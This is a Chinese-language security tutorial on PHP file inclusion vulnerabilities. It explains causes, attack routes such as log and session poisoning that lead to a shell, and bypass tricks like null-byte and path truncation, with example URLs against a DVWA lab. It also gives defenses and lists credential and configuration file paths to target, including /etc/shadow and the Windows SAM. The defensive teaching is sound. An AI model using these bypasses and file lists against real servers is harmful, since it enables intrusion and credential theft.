web漏洞之文件包含 一、概述 二、产生原因 三、常见位置 四、攻击方法 五、绕过方法 六、防御方法 七、危害 八、常见包含文件
1.1简介
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)
1.2文件包含函数
函数 | 区别 |
require() | 在包含的过程中如果出现错误,会直接报错并退出程序的执行 |
include() | 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行 |
require_once() | 和require函数相同,但只包含一次 |
include_once() | 和include函数相同,但只包含一次 |
二、产生原因
文件包含的函数在使用时没有对获取的参数进行严格过滤和审查,导致包含的文件路径用户可控,包含执行了恶意脚本代码,从而超出我们期望执行的范围,比如下面代码:
上面的代码将我们前端获取的路径没有做任何过滤直接进行了执行,如果用户输入的是一个恶意脚本的路径地址,就有可能执行恶意脚本导致出现安全隐患。
三、常见位置
URL栏中有以下内容则可能存在文件包含
?page=
?file=
?home=
四、攻击方法
1.利用文件包含可以读取目标服务器上其他文件
2.利用input写入文件,条件allow_url_include = On
3.结合文件上传可以包含我们上传的getshell脚本,达到执行脚本的目的
4.利用日志包含写入一句话等
5.包含session文件查看用户名密码,也可以在PHPmyadmin登录框插入一句话,如果写入session日志文件,就可以通过包含sessio文件getshell
五、绕过方法
5.1本地文件包含绕过
5.1.1绕过特殊字符过滤
5.1.2可以采用大小写和复写来进行绕过
5.1.3编码绕过,对要包含的url进行编码
5.1.4%00截断,条件:magic_quotes_gpc = Off php版本<5.3.4
5.1.5使用长字节截断,
在Windows下目录最大长度为256字节,Linux下为4096字节,后面超过的部分会被忽略。因此可以使用足够长的目录进行访问,前面使用./././或////等内容进行填充,超过256字节或者4096字节后再在后面添加想要包含的内容,这样超过的部分服务器就不会再进行检测,但是执行的时候还是会对后面添加的内容进行执行
5.2远程文件包含绕过
5.2.1?号绕过,在要包含的文件末尾加一个问号
http://192.168.10.130/dvwa/vulnerabilities/fi/?page=http://192.168.10.129/1.txt?
5.2.2#号绕过,在要包含的文件末尾加一个#号(转义为:%23)
http://192.168.10.130/dvwa/vulnerabilities/fi/?page=http://192.168.10.129/1.txt%23
六、防御方法
1.严格过滤和限制包含中的参数,取消那些不可控的参数。
2.开启open_basedir()函数,将其设置为指定目录,只允许制定目录可以访问。
3.如果不需要文件包含,则关闭allow_url_include()函数,防止远程文件包含
4.如果需要使用文件包含,尽量使用白名单的方法对要包含的文件进行限制,不要使用黑名单进行限制,这样可以做到既使用了文件包含,又可以防止文件包含漏洞
七、危害
1.敏感信息泄露(配置文件、源码、数据库配置文件、用户名密码文件等等)
2.服务器被执行恶意脚本,失去控制
八、常见包含文件
8.1Window常见默认文件
路径 |
描述 |
C:oot.ini |
查看系统版本 |
C:windowssystem32inetsrvMetaBase.xml |
IIS 配置文件 |
C:windows epairsam |
存储 windows 系统初次安装的密码 |
C:Program Filesmysqlmy.ini |
mysql 配置 |
C:Program Filesmysqldatamysqluser.MYD |
查看MySQLroot密码 |
C:windowsphp.ini |
php 配置信息 |
C:windowsmy.ini |
mysql 配置文件 |
8.2Linux/Unix常见文件
路径 |
描述 |
/etc/passwd |
查看账户信息 |
/etc/shadow |
查看密码文件 |
/usr/local/app/apache2/conf/httpd.conf |
apache2 默认配置文件 |
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf |
虚拟网站设置 |
/usr/local/app/php5/lib/php.ini |
PHP 相关配置 |
/etc/httpd/conf/httpd.conf |
查看Apache配置文件 |
/etc/my.conf |
查看MySQL配置文件 |
8.3常见日志默认路径
路径 |
描述 |
/etc/httpd/logs/access_log |
Apache在Linux中日志默认路径 |
/var/log/httpd/access_log |
|
D:xamppapachelogsaccess.log |
Apache在win2003中日志默认路径 |
D:xamppapachelogserror.log |
|
C:WINDOWSsystem32Logfiles |
IIS6.0在win2003中默认日志文件 |